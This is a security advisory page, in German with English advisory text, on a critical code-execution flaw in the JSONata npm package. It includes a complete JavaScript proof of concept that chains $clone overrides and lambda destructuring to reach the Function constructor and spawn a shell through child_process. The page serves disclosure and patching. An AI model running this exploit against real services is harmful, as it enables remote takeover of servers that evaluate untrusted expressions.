Kritisch

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Veröffentlicht: 21.08.2026
Aktualisiert: 11.10.2026 10:22

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to:

overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression)
it being possible to destruct jsonata functions/lambdas (e.g. $merge.*)
applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
    $obj := {};
    $clone := function($o) { $o };
    $m := ($merge.*)[1];

    $fn := function($a) {
        (
            $a({"value":"lg"},"__lookupGetter__");
            $a({"value":"x"},"x");
        )
    };

    $nop := function() { $ };

    $capture := function($val) {
        $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
    };

    $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
    $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
    $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
    $func := $m([$,{"_jsonata_lambda":true}]);
    $func();

    $gP := $obj.lg("__proto__");

    $afn:=$spread($fn);
    $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);

await expression.evaluate({});

References

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
npm-Paket	jsonata	>= 2.0.0, < 2.2.1, < 1.8.8	2.2.1, 1.8.8

Verweise

CVSS-Wert -

CVSS-Vektor: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE): CWE-94
Plattform: npm
Paket: jsonata
Veröffentlicht: 21.08.2026
Aktualisiert: 11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-66mm-25pp-rfff - CC BY 4.0

Schwachstellenhistorie: jsonata

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt: 6
Erste → letzte: 03.2024 08.2026
Ohne Fix: 0
In Angriffen ausgenutzt: 0

Verteilung nach Schweregrad

Kritisch 4
Hoch 1
Mittel 1

Veröffentlichungen pro Jahr

2024: 1
2025: 0
2026: 5

21.08.2026

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions dieser Eintrag

Kritisch CVE-2026-77415 >= 2.0.0, < 2.2.1, < 1.8.8 2.2.1, 1.8.8
21.08.2026

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Kritisch CVE-2026-77414 >= 2.0.0, < 2.2.1, < 1.8.8 2.2.1, 1.8.8
21.08.2026

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Kritisch CVE-2026-77413 < 1.8.8, >= 2.0.0, < 2.2.0 1.8.8, 2.2.0
02.07.2026

jsonata: Malicious inputs to "$toMillis" function can cause resource exhaustion

Hoch · 7.5 CVE-2026-52746 >= 2.0.0, < 2.2.0, < 1.8.9 2.2.0, 1.8.9
15.06.2026

jsonata: Function Binding Prototype Pollution via hasOwnProperty Override

Mittel · 5.3 CVE-2026-12208 < 1.8.8, >= 2.0.0, < 2.2.1 1.8.8, 2.2.1
04.03.2024

JSONata expression can pollute the "Object" prototype

Kritisch · 9.8 CVE-2024-27307 >= 1.4.0, < 1.8.7, >= 2.0.0, < 2.0.4 1.8.7, 2.0.4

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden